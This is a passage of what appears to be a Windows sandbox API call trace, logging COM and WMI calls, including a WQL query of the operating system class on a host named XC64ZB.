0x3 [0263.372] CoGetContextToken (in: pToken=0x1d2dcf30 | out: pToken=0x1d2dcf30) returned 0x0 [0263.372] CoGetContextToken (in: pToken=0x1d2dd3b0 | out: pToken=0x1d2dd3b0) returned 0x0 [0263.373] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x1b351b70) returned 0x0 [0263.373] WbemLocator:IRpcOptions:Query (in: This=0x1b351b70, pPrx=0x1b351ba8, dwProperty=2, pdwValue=0x1d2dd460 | out: pdwValue=0x1d2dd460) returned 0x80004002 [0263.373] WbemLocator:IUnknown:Release (This=0x1b351b70) returned 0x3 [0263.373] WbemLocator:IUnknown:Release (This=0x1b351ba8) returned 0x2 [0263.373] CoGetContextToken (in: pToken=0x1d2dda70 | out: pToken=0x1d2dda70) returned 0x0 [0263.373] CoGetContextToken (in: pToken=0x1d2dd970 | out: pToken=0x1d2dd970) returned 0x0 [0263.373] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x1d2ddad0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1d2ddaa0 | out: ppvObject=0x1d2ddaa0*=0x1d4755c0) returned 0x0 [0263.373] WbemLocator:IUnknown:AddRef (This=0x1d4755c0) returned 0x4 [0263.373] WbemLocator:IUnknown:Release (This=0x1d4755c0) returned 0x3 [0263.373] WbemLocator:IUnknown:Release (This=0x1d4755c0) returned 0x2 [0263.373] SysStringLen (param_1=0x0) returned 0x0 [0263.373] CoGetContextToken (in: pToken=0x1d2ddba0 | out: pToken=0x1d2ddba0) returned 0x0 [0263.373] WbemLocator:IUnknown:AddRef (This=0x1b351ba8) returned 0x3 [0263.374] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddba0 | out: ppvObject=0x1d2ddba0*=0x1b351ba8) returned 0x0 [0263.374] WbemLocator:IUnknown:Release (This=0x1b351ba8) returned 0x3 [0263.374] WbemLocator:IUnknown:Release (This=0x1b351ba8) returned 0x2 [0263.374] CoGetContextToken (in: pToken=0x1d2ddcd0 | out: pToken=0x1d2ddcd0) returned 0x0 [0263.374] WbemLocator:IUnknown:AddRef (This=0x1d4755c0) returned 0x3 [0263.374] IWbemServices:ExecQuery (in: This=0x1d4755c0, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x1d2de178 | out: ppEnum=0x1d2de178*=0x1d35c8d0) returned 0x0 [0263.383] IUnknown:QueryInterface (in: This=0x1d35c8d0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde48 | out: ppvObject=0x1d2dde48*=0x1d35c8d8) returned 0x0 [0263.384] IClientSecurity:QueryBlanket (in: This=0x1d35c8d8, pProxy=0x1d35c8d0, pAuthnSvc=0x1d2ddf10, pAuthzSvc=0x1d2dde90, pServerPrincName=0x1d2ddeb8, pAuthnLevel=0x1d2dde94, pImpLevel=0x1d2ddea0, pAuthInfo=0x1d2ddec8, pCapabilites=0x1d2ddea4 | out: pAuthnSvc=0x1d2ddf10*=0xa, pAuthzSvc=0x1d2dde90*=0x0, pServerPrincName=0x1d2ddeb8, pAuthnLevel=0x1d2dde94*=0x6, pImpLevel=0x1d2ddea0*=0x2, pAuthInfo=0x1d2ddec8, pCapabilites=0x1d2ddea4*=0x1) returned 0x0 [0263.384] IUnknown:Release (This=0x1d35c8d8) returned 0x1 [0263.384] IUnknown:QueryInterface (in: This=0x1d35c8d0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddde0 | out: ppvObject=0x1d2ddde0*=0x1b351ee8) returned 0x0 [0263.384] IUnknown:QueryInterface (in: This=0x1d35c8d0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dddf0 | out: ppvObject=0x1d2dddf0*=0x1d35c8d8) returned 0x0 [0263.384] IClientSecurity:SetBlanket (This=0x1d35c8d8, pProxy=0x1d35c8d0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0263.406] IUnknown:Release (This=0x1d35c8d8) returned 0x2 [0263.407] WbemLocator:IUnknown:Release (This=0x1b351ee8) returned 0x1 [0263.407] CoTaskMemFree (pv=0x1d471020) [0263.407] IUnknown:QueryInterface (in: This=0x1d35c8d0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd8b0 | out: ppvObject=0x1d2dd8b0*=0x1b351ee8) returned 0x0 [0263.407] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd940 | out: ppvObject=0x1d2dd940*=0x0) returned 0x80004002 [0263.408] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd560 | out: ppvObject=0x1d2dd560*=0x0) returned 0x80004002 [0263.408] IUnknown:QueryInterface (in: This=0x1d35c8d0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd138 | out: ppvObject=0x1d2dd138*=0x0) returned 0x80004002 [0263.409] WbemLocator:IUnknown:AddRef (This=0x1b351ee8) returned 0x3 [0263.409] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcff8 | out: ppvObject=0x1d2dcff8*=0x0) returned 0x80004002 [0263.409] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcf80 | out: ppvObject=0x1d2dcf80*=0x0) returned 0x80004002 [0263.409] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcf70 | out: ppvObject=0x1d2dcf70*=0x1b351dc8) returned 0x0 [0263.409] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b351dc8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcf98 | out: pCid=0x1d2dcf98*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0263.409] WbemLocator:IUnknown:Release (This=0x1b351dc8) returned 0x3 [0263.409] CoGetContextToken (in: pToken=0x1d2dd020 | out: pToken=0x1d2dd020) returned 0x0 [0263.409] CoGetContextToken (in: pToken=0x1d2dd4a0 | out: pToken=0x1d2dd4a0) returned 0x0 [0263.409] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd560 | out: ppvObject=0x1d2dd560*=0x1b351eb0) returned 0x0 [0263.409] WbemLocator:IRpcOptions:Query (in: This=0x1b351eb0, pPrx=0x1b351ee8, dwProperty=2, pdwValue=0x1d2dd550 | out: pdwValue=0x1d2dd550) returned 0x80004002 [0263.409] WbemLocator:IUnknown:Release (This=0x1b351eb0) returned 0x3 [0263.409] WbemLocator:IUnknown:Release (This=0x1b351ee8) returned 0x2 [0263.409] CoGetContextToken (in: pToken=0x1d2ddb60 | out: pToken=0x1d2ddb60) returned 0x0 [0263.409] CoGetContextToken (in: pToken=0x1d2dda60 | out: pToken=0x1d2dda60) returned 0x0 [0263.409] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x1d2ddbc0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1d2ddb90 | out: ppvObject=0x1d2ddb90*=0x1d35c8d0) returned 0x0 [0263.410] IUnknown:AddRef (This=0x1d35c8d0) returned 0x4 [0263.410] IUnknown:Release (This=0x1d35c8d0) returned 0x3 [0263.410] IUnknown:Release (This=0x1d35c8d0) returned 0x2 [0263.410] WbemLocator:IUnknown:Release (This=0x1d4755c0) returned 0x2 [0263.410] SysStringLen (param_1=0x0) returned 0x0 [0263.410] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de1b8 | out: puCount=0x1d2de1b8*=0x2) returned 0x0 [0263.410] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de1b0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de1b0*=0xf, pszText=0x0) returned 0x0 [0263.410] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de1b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de1b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0263.410] CoGetContextToken (in: pToken=0x1d2ddcf0 | out: pToken=0x1d2ddcf0) returned 0x0 [0263.410] IUnknown:AddRef (This=0x1d35c8d0) returned 0x3 [0263.410] IEnumWbemClassObject:Clone (in: This=0x1d35c8d0, ppEnum=0x1d2de0f0 | out: ppEnum=0x1d2de0f0*=0x1d35c4e0) returned 0x0 [0263.411] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde78 | out: ppvObject=0x1d2dde78*=0x1d35c4e8) returned 0x0 [0263.411] IClientSecurity:QueryBlanket (in: This=0x1d35c4e8, pProxy=0x1d35c4e0, pAuthnSvc=0x1d2ddf40, pAuthzSvc=0x1d2ddec0, pServerPrincName=0x1d2ddee8, pAuthnLevel=0x1d2ddec4, pImpLevel=0x1d2dded0, pAuthInfo=0x1d2ddef8, pCapabilites=0x1d2dded4 | out: pAuthnSvc=0x1d2ddf40*=0xa, pAuthzSvc=0x1d2ddec0*=0x0, pServerPrincName=0x1d2ddee8, pAuthnLevel=0x1d2ddec4*=0x6, pImpLevel=0x1d2dded0*=0x2, pAuthInfo=0x1d2ddef8, pCapabilites=0x1d2dded4*=0x1) returned 0x0 [0263.412] IUnknown:Release (This=0x1d35c4e8) returned 0x1 [0263.412] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde10 | out: ppvObject=0x1d2dde10*=0x1b3509c8) returned 0x0 [0263.412] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde20 | out: ppvObject=0x1d2dde20*=0x1d35c4e8) returned 0x0 [0263.412] IClientSecurity:SetBlanket (This=0x1d35c4e8, pProxy=0x1d35c4e0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0263.413] IUnknown:Release (This=0x1d35c4e8) returned 0x2 [0263.413] WbemLocator:IUnknown:Release (This=0x1b3509c8) returned 0x1 [0263.414] CoTaskMemFree (pv=0x1d471050) [0263.414] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd8d0 | out: ppvObject=0x1d2dd8d0*=0x1b3509c8) returned 0x0 [0263.414] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd960 | out: ppvObject=0x1d2dd960*=0x0) returned 0x80004002 [0263.414] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd580 | out: ppvObject=0x1d2dd580*=0x0) returned 0x80004002 [0263.415] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd158 | out: ppvObject=0x1d2dd158*=0x0) returned 0x80004002 [0263.415] WbemLocator:IUnknown:AddRef (This=0x1b3509c8) returned 0x3 [0263.415] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dd018 | out: ppvObject=0x1d2dd018*=0x0) returned 0x80004002 [0263.415] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcfa0 | out: ppvObject=0x1d2dcfa0*=0x0) returned 0x80004002 [0263.416] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcf90 | out: ppvObject=0x1d2dcf90*=0x1b3508a8) returned 0x0 [0263.416] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b3508a8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcfb8 | out: pCid=0x1d2dcfb8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0263.416] WbemLocator:IUnknown:Release (This=0x1b3508a8) returned 0x3 [0263.416] CoGetContextToken (in: pToken=0x1d2dd040 | out: pToken=0x1d2dd040) returned 0x0 [0263.416] CoGetContextToken (in: pToken=0x1d2dd4c0 | out: pToken=0x1d2dd4c0) returned 0x0 [0263.416] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd580 | out: ppvObject=0x1d2dd580*=0x1b350990) returned 0x0 [0263.416] WbemLocator:IRpcOptions:Query (in: This=0x1b350990, pPrx=0x1b3509c8, dwProperty=2, pdwValue=0x1d2dd570 | out: pdwValue=0x1d2dd570) returned 0x80004002 [0263.416] WbemLocator:IUnknown:Release (This=0x1b350990) returned 0x3 [0263.416] WbemLocator:IUnknown:Release (This=0x1b3509c8) returned 0x2 [0263.416] CoGetContextToken (in: pToken=0x1d2ddb80 | out: pToken=0x1d2ddb80) returned 0x0 [0263.416] CoGetContextToken (in: pToken=0x1d2dda80 | out: pToken=0x1d2dda80) returned 0x0 [0263.416] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x1d2ddbe0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1d2ddbb0 | out: ppvObject=0x1d2ddbb0*=0x1d35c4e0) returned 0x0 [0263.416] IUnknown:AddRef (This=0x1d35c4e0) returned 0x4 [0263.467] IUnknown:Release (This=0x1d35c4e0) returned 0x3 [0263.467] IUnknown:Release (This=0x1d35c4e0) returned 0x2 [0263.467] IUnknown:Release (This=0x1d35c8d0) returned 0x2 [0263.467] SysStringLen (param_1=0x0) returned 0x0 [0263.467] IEnumWbemClassObject:Reset (This=0x1d35c4e0) returned 0x0 [0263.469] CoTaskMemAlloc (cb=0x8) returned 0x5248c0 [0263.469] IEnumWbemClassObject:Next (in: This=0x1d35c4e0, lTimeout=-1, uCount=0x1, apObjects=0x5248c0, puReturned=0x2869260 | out: apObjects=0x5248c0*=0x1b34a5e0, puReturned=0x2869260*=0x1) returned 0x0 [0263.484] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x1b34a5e0) returned 0x0 [0263.484] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd500 | out: ppvObject=0x1d2dd500*=0x0) returned 0x80004002 [0263.484] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd120 | out: ppvObject=0x1d2dd120*=0x0) returned 0x80004002 [0263.484] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dccf8 | out: ppvObject=0x1d2dccf8*=0x0) returned 0x80004002 [0263.485] IUnknown:AddRef (This=0x1b34a5e0) returned 0x3 [0263.485] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcbb8 | out: ppvObject=0x1d2dcbb8*=0x0) returned 0x80004002 [0263.485] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcb40 | out: ppvObject=0x1d2dcb40*=0x0) returned 0x80004002 [0263.485] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcb30 | out: ppvObject=0x1d2dcb30*=0x1b34a5e8) returned 0x0 [0263.485] IMarshal:GetUnmarshalClass (in: This=0x1b34a5e8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcb58 | out: pCid=0x1d2dcb58*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0263.485] IUnknown:Release (This=0x1b34a5e8) returned 0x3 [0263.485] CoGetContextToken (in: pToken=0x1d2dcbe0 | out: pToken=0x1d2dcbe0) returned 0x0 [0263.486] CoGetContextToken (in: pToken=0x1d2dd060 | out: pToken=0x1d2dd060) returned 0x0 [0263.486] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd120 | out: ppvObject=0x1d2dd120*=0x0) returned 0x80004002 [0263.486] IUnknown:Release (This=0x1b34a5e0) returned 0x2 [0263.486] CoGetContextToken (in: pToken=0x1d2dd720 | out: pToken=0x1d2dd720) returned 0x0 [0263.486] CoGetContextToken (in: pToken=0x1d2dd620 | out: pToken=0x1d2dd620) returned 0x0 [0263.486] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x1d2dd780*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1d2dd750 | out: ppvObject=0x1d2dd750*=0x1b34a5e0) returned 0x0 [0263.486] IUnknown:AddRef (This=0x1b34a5e0) returned 0x4 [0263.486] IUnknown:Release (This=0x1b34a5e0) returned 0x3 [0263.487] IUnknown:Release (This=0x1b34a5e0) returned 0x2 [0263.487] CoTaskMemFree (pv=0x5248c0) [0263.487] CoGetContextToken (in: pToken=0x1d2ddaf0 | out: pToken=0x1d2ddaf0) returned 0x0 [0263.487] IUnknown:AddRef (This=0x1b34a5e0) returned 0x3 [0263.487] IWbemClassObject:Get (in: This=0x1b34a5e0, wszName="__GENUS", lFlags=0, pVal=0x1d2de0b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1d2de1d8*=0, plFlavor=0x1d2de1d0*=0 | out: pVal=0x1d2de0b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1d2de1d8*=3, plFlavor=0x1d2de1d0*=64) returned 0x0 [0263.487] IWbemClassObject:Get (in: This=0x1b34a5e0, wszName="__PATH", lFlags=0, pVal=0x1d2de060*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1d2de190*=0, plFlavor=0x1d2de188*=0 | out: pVal=0x1d2de060*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"", varVal2=0x0), pType=0x1d2de190*=8, plFlavor=0x1d2de188*=64) returned 0x0 [0263.487] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0263.488] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0263.488] CoGetObjectContext (in: riid=0x24b1de8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2de0d8 | out: ppv=0x1d2de0d8*=0x4b0108) returned 0x0 [0263.488] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1d2de0c8 | out: pAptType=0x1d2de0c8*=1) returned 0x0 [0263.488] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x24b1dc8*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1d2de0d0 | out: ppvObject=0x1d2de0d0*=0x0) returned 0x80004002 [0263.488] IUnknown:Release (This=0x4b0108) returned 0x1 [0263.490] CoGetClassObject (in: rclsid=0x1b2eae48*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2dd4c8 | out: ppv=0x1d2dd4c8*=0x1d497040) returned 0x0 [0263.490] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d497040, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd5b0 | out: ppvObject=0x1d2dd5b0*=0x0) returned 0x80004002 [0263.491] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1d497040, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd588 | out: ppvObject=0x1d2dd588*=0x4f3ac0) returned 0x0 [0263.491] WbemDefPath:IUnknown:Release (This=0x1d497040) returned 